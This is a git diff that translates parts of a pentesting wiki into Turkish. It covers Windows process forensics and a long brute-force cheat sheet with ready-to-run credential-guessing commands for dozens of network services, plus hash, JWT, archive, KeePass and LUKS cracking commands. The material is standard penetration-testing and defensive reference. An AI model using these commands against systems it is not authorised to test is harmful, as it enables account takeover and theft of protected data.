**loads** **services** configured as **auto-start** and **drivers**. +**Hizmet Kontrol Yöneticisi**.\ +**Otomatik başlat** olarak yapılandırılan **hizmetleri** ve **sürücüleri** **yükler**. -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +**svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** ve daha birçok sürecin ebeveynidir. -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +Hizmetler `HKLM\SYSTEM\CurrentControlSet\Services`'de tanımlanır ve bu süreç, sc.exe tarafından sorgulanabilen hizmet bilgilerini bellekte tutan bir veritabanı yönetir. -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +**Bazı** **hizmetlerin** **kendi süreçlerinde** çalışacağını ve diğerlerinin **bir svchost.exe sürecini paylaşacağını** not edin. -There should only be 1 process. +Yalnızca 1 süreç olmalıdır. ## lsass.exe -**Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +**Yerel Güvenlik Otoritesi Alt Sistemi**.\ +Kullanıcı **kimlik doğrulaması** için sorumludur ve **güvenlik** **jetonları** oluşturur. `HKLM\System\CurrentControlSet\Control\Lsa`'da bulunan kimlik doğrulama paketlerini kullanır. -It writes to the **Security** **event** **log** and there should only be 1 process. +**Güvenlik** **olay** **günlüğüne** yazar ve yalnızca 1 süreç olmalıdır. -Keep in mind that this process is highly attacked to dump passwords. +Bu sürecin şifreleri dökmek için yüksek oranda saldırıya uğradığını unutmayın. ## svchost.exe -**Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +**Genel Hizmet Ana Bilgisayar Süreci**.\ +Birden fazla DLL hizmetini tek bir paylaşılan süreçte barındırır. -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +Genellikle, **svchost.exe** `-k` bayrağı ile başlatılır. Bu, kayıt defterine **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** bir sorgu başlatır; burada -k'da belirtilen argümanla bir anahtar bulunur ve bu anahtar aynı süreçte başlatılacak hizmetleri içerir. -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +Örneğin: `-k UnistackSvcGroup` şunları başlatır: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +Eğer **`-s` bayrağı** da bir argüman ile kullanılıyorsa, o zaman svchost'tan **yalnızca belirtilen hizmeti** bu argümanda başlatması istenir. -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +Birçok `svchost.exe` süreci olacaktır. Eğer bunlardan herhangi biri **`-k` bayrağını** kullanmıyorsa, bu çok şüphelidir. Eğer **services.exe ebeveyn değilse**, bu da çok şüphelidir. ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +Bu süreç, DLL'lerden çalışan süreçler için bir ana bilgisayar görevi görür. Ayrıca DLL'lerden çalışan hizmetleri yükler. -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +W8'de bu taskhostex.exe olarak adlandırılır ve W10'da taskhostw.exe olarak adlandırılır. ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +Bu, **kullanıcının masaüstünden** ve dosyaları dosya uzantıları aracılığıyla başlatmaktan sorumlu olan süreçtir. -**Only 1** process should be spawned **per logged on user.** +**Her oturum açan kullanıcı için yalnızca 1** süreç oluşturulmalıdır. -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +Bu, **userinit.exe**'den çalıştırılır ve sonlandırılmalıdır, böylece bu süreç için **ebeveyn** görünmemelidir. -# Catching Malicious Processes +# Kötü Amaçlı Süreçleri Yakalamak -- Is it running from the expected path? (No Windows binaries run from temp location) -- Is it communicating with weird IPs? -- Check digital signatures (Microsoft artifacts should be signed) -- Is it spelled correctly? -- Is running under the expected SID? -- Is the parent process the expected one (if any)? -- Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +- Beklenen yoldan mı çalışıyor? (Windows ikili dosyaları geçici konumdan çalışmaz) +- Garip IP'lerle mi iletişim kuruyor? +- Dijital imzaları kontrol edin (Microsoft belgeleri imzalanmış olmalıdır) +- Doğru yazılmış mı? +- Beklenen SID altında mı çalışıyor? +- Ebeveyn süreç beklenen mi (varsa)? +- Çocuk süreçler beklenenler mi? (cmd.exe, wscript.exe, powershell.exe..?) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 9b2faa122..805909c7e 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,18 +1,10 @@ # Brute Force - CheatSheet -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - {{#include ../banners/hacktricks-training.md}} -## Default Credentials +## Varsayılan Kimlik Bilgileri -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**Kullanılan teknolojinin** varsayılan kimlik bilgilerini **google'da arayın** veya **bu bağlantıları deneyin**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -27,12 +19,11 @@ Get Access Today: - [**https://many-passwords.github.io/**](https://many-passwords.github.io) - [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **Kendi Sözlüklerinizi Oluşturun** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +Hedef hakkında mümkün olduğunca fazla bilgi toplayın ve özel bir sözlük oluşturun. Yardımcı olabilecek araçlar: ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -43,36 +34,30 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl - ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +Kurban hakkındaki bilginize (isimler, tarihler...) dayalı şifreler oluşturun. ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +Belirli bir hedefle ilgili kullanılacak benzersiz ve ideal bir kelime listesi oluşturmanıza olanak tanıyan, bir dizi kelime sağlamanızı sağlayan bir kelime listesi oluşturucu aracıdır. Verilen kelimelerden birden fazla varyasyon oluşturma imkanı sunar. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ - Version 1.0.3 Cycurity +Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% @@ -80,10 +65,9 @@ Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) -### Wordlists +### Kelime Listeleri - [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) - [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -96,20 +80,11 @@ Finished in 0.920s. - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+## Hizmetler -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Services - -Ordered alphabetically by service name. +Hizmet adıyla alfabetik sıraya göre sıralanmıştır. ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -119,114 +94,84 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP - ```bash nmap --script ajp-brute -p 8009 ``` - -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) - +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM ve Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` - ### Cassandra - ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` - ### CouchDB - ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` - ### Docker Registry - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP - ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` - -### HTTP Generic Brute +### HTTP Genel Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### HTTP Temel Kimlik Doğrulama ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` - ### HTTP - NTLM - ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` - ### HTTP - Post Form - ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` - For http**s** you have to change from "http-post-form" to "**https-post-form"** -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` - ### IMAP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` - ### IRC - ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI - ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT - ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -249,33 +194,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP - ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` - ### MQTT - ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` - ### Mongo - ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` - ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) - ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt @@ -296,9 +233,7 @@ mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` - ### MySQL - ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -312,9 +247,7 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` - ### OracleSQL - ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -338,21 +271,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` - -In order to use **oracle_login** with **patator** you need to **install**: - +**oracle_login**'ı **patator** ile kullanmak için **kurmanız** gerekiyor: ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**sürümler 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** ve **11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -363,9 +290,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` - ### PostgreSQL - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -375,109 +300,81 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +`.deb` paketini [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) adresinden indirip kurabilirsiniz. ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP - ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` - ### Redis - ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` - ### Rexec - ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin - ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh - ```bash hydra -L rsh:// -v -V ``` - [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync - ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP - ```bash hydra -l root -P passwords.txt rtsp ``` - ### SFTP - ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` - ### SNMP - ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB - ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` - ### SMTP - ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` - ### SOCKS - ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` - ### SQL Server - ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -486,9 +383,7 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### SSH - ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -498,38 +393,32 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` +#### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG -#### Weak SSH keys / Debian predictable PRNG +Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla zorlanabilecek dramatik şekilde azaltılmış bir anahtar alanına yol açabilir. Ayrıca, [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) gibi önceden oluşturulmuş zayıf anahtar setleri de mevcuttur. -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) - -The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. +### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ) +STOMP metin protokolü, **RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj kuyruklama hizmetleriyle kesintisiz iletişim ve etkileşim sağlar**. Mesajları değiştirmek ve çeşitli mesajlaşma işlemleri gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` - ### Telnet - ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ - --username admin \ - --password wordlists/passwords.txt \ - --target localhost:23 \ - --telnet-user-prompt "login: " \ - --telnet-pass-prompt "Password: " \ - --telnet-prompt ":~$ " \ - --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin +--username admin \ +--password wordlists/passwords.txt \ +--target localhost:23 \ +--telnet-user-prompt "login: " \ +--telnet-pass-prompt "Password: " \ +--telnet-prompt ":~$ " \ +--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` - ### VNC - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -544,41 +433,29 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm - ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` +## Yerel -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Local - -### Online cracking databases +### Çevrimiçi kırma veritabanları - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) -- [https://crackstation.net/](https://crackstation.net) (Hashes) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ile/olmaksızın ESS/SSP ve herhangi bir zorluk değeri ile) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashler, WPA2 yakalamaları ve MSOffice, ZIP, PDF arşivleri...) +- [https://crackstation.net/](https://crackstation.net) (Hashler) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) -- [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) -- [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) +- [https://gpuhash.me/](https://gpuhash.me) (Hashler ve dosya hashleri) +- [https://hashes.org/search.php](https://hashes.org/search.php) (Hashler) +- [https://www.cmd5.org/](https://www.cmd5.org) (Hashler) - [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +Bir Hash'i brute force denemeden önce bunu kontrol edin. ### ZIP - ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip @@ -594,12 +471,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### Bilinen düz metin zip saldırısı -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +Şifreli zip içinde bulunan bir dosyanın **düz metnini** (veya düz metnin bir kısmını) bilmeniz gerekir. Şifreli zip içinde bulunan **dosya adlarını ve dosyaların boyutunu** kontrol etmek için şunu çalıştırabilirsiniz: **`7z l encrypted.zip`**\ +[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)indirin. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -611,9 +486,7 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z - ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -624,9 +497,7 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF - ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -635,13 +506,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` +### PDF Sahibi Parolası -### PDF Owner Password - -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Bir PDF sahibi parolasını kırmak için bunu kontrol edin: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -653,17 +522,13 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` - -### NTLM cracking - +### NTLM kırma ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - ### Keepass - ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -671,30 +536,24 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - ### Keberoasting - ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### Luks resmi -### Lucks image - -#### Method 1 - -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### Yöntem 1 +Kurulum: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -#### Method 2 - +#### Yöntem 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -703,39 +562,33 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: 